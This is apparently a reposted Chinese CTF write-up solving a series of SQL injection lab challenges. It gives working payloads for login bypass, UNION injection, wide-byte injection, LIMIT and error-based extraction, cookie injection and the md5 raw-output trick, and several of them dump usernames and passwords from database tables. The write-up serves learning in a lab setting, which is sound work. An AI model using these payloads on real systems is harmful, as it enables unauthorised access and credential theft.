万能密码
题目中有提示,打开源码发现
。
万能密码 用户名 admin' or 1=1#
密码任意过之。
2-最简单的SQL注入(熟悉注入环境)
UNION注入.
根据源码Tip,在URL尾部加上 ?id=2
,显示出第二篇文章。
加上 AND 1=1
和 AND 1=2
发现输出不同,判断存在注入。
在其后加入 OR 1=1
爆出所有的文章,得到flag。
3-防注入
宽字节注入。
各种尝试,在参数后 id=3%df’发现php错误,是mysql语法发生问题。推测存在宽字节注入。
比较奇怪的是这个页面居然把数字用引号包起来?
?id=2%df' ORDER BY 3%23
无错,有3个字段
?id=2%df' UNION SELECT 1,2,3%23
第2、3字段可显
?id=2%df' UNION SELECT 1,database(),user()%23
数据库mydbs
?id=2%df' UNION SELECT 1,database(),table_name FROM information_schema.tables WHERE table_schema=0x6D79646273%23
表名 sae_user_sqli4
?id=2%df' UNION SELECT 1,database(),GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x7361655F757365725F73716C6934%23
字段名id,title_1,content_1
?id=2%df' UNION SELECT 1,CONCAT(GROUP_CONCAT(id),0x20,GROUP_CONCAT(title_1)),GROUP_CONCAT(content_1) FROM sae_user_sqli4%23
flag Hsaagdfs56sdf7fsdv flag的id是229212
4-到底能不能回显
LIMIT注入。
看到URL是start和num两个参数,猜测是LIMIT注入。
网上找到代码,LIMIT显错注入:
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)%23&num=1
出数据库名mydbs
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))),1)%23&num=1
出表名article,user
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x75736572))),1)%23&num=1
出表article的字段名 id,username,password,lastloginIP
?start=0 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT CONCAT(username,0x20,password) FROM user LIMIT 2,1))),1)%23&num=1
出几组账号密码
最后有 flag myflagishere
5-邂逅
准确的说是用“图片注入”,在图片URL后面宽字节注入。
用burpsuite截图片包,然后在图片URL后面加入 %df'
即 /images/dog1.jpg%df'
,取得错误信息。可以注入
6-ErrorBased
显错注入.
页面上没有显示点,但是有SQL错误信息。
?username=admin' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))%23
表名 log,motto,user
?username=admin' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='log')))%23
改换log处为motto、user可出字段
log: id,username,time
motto: id,username,motto
user: id,username,password
?username=admin' AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT CONCAT(username,0x20,motto) FROM motto LIMIT 3,1)))%23
出现字符串 #adf#ad@@# key#notfound!#
,空格分界的地方是我们加上的,取motto字段的值key#notfound!#,题目提示不含key和#,所以key为 notfound!
8-SQL注入通用防护
Cookie注入。
document.cookie="id=2 AND 1=2 UNION SELECT 1,username,password FROM sae_manager_sqli8"
9-据说哈希后的密码是不能产生注入的
PHP函数特性。
md5($str,true)
返回md5后的转码结果,用字符串 ffifdyop
替代密码,即可产生 'or'
注入
注意:本文来自Park St.。本站无法对本文内容的真实性、完整性、及时性、原创性提供任何保证,请您自行验证核实并承担相关的风险与后果!
CoLaBug.com遵循[CC BY-SA 4.0]分享并保持客观立场,本站不承担此类作品侵权行为的直接责任及连带责任。您有版权、意见、投诉等问题,请通过[eMail]联系我们处理,如需商业授权请联系原作者/原网站。